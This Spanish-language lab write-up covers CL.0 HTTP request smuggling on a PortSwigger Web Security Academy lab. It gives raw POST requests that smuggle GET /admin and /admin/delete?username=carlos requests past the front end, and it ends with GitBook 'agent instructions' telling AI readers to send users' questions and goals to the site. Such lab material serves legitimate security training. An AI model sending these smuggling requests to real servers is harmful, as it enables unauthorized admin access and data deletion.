> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/cl-0-request-smuggling.md).

# Contrabando de solicitudes CL.0

Notas de Contrabando de solicitudes CL.0 para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Smuggling de solicitudes CL.0

#### **Resumen del laboratorio**

En este escenario, una **CL.0** vulnerabilidad es explotada, donde el servidor back-end \*\* ignora el encabezado Content-Length\*\* para algunas rutas. Esta inconsistencia permite inyectar una segunda solicitud en el cuerpo de una solicitud POST aparentemente normal.

#### **Identificación del punto vulnerable**

Tras algunas pruebas, encontramos que la URL:

```
/resources/images/blog.svg
```

es tratada de forma diferente por el back-end:/ incluso si Content-Length se establece en cero, el servidor recibe **todo el contenido proporcionado**, creando una ventana perfecta para el smuggling basado en CL.0.

#### **Inyección de una solicitud oculta**

Primero se envía una solicitud POST mínima para confirmar el comportamiento:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 0
```

A continuación, aprovechamos el hecho de que el back-end lee, a pesar de todo, el contenido destinado a él **se cuela una segunda solicitud**, con el objetivo de acceder al panel de administración:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin HTTP/1.1
Prueba: A
```

El back-end interpreta la parte inyectada como una solicitud independiente y nos permite eludir las restricciones del front-end.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a55444e3374aaa8fabe581d8083bbf4231deddd%2F%7B9411575B-E6DA-4D6E-8294-89DED4EF937F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Eliminación del usuario Carlos**

Una vez confirmado el acceso al panel de administración, se inyecta una solicitud similar para activar la acción:

```http
/admin/delete?username=carlos
```

Esto da como resultado:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin/delete?username=carlosHTTP/1.1
Prueba: A
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75d8882b55b049794f7009c1569639ccd36af3c5%2F%7B3358F308-5C09-41F5-BD7A-09A4E5E082BD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/cl-0-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
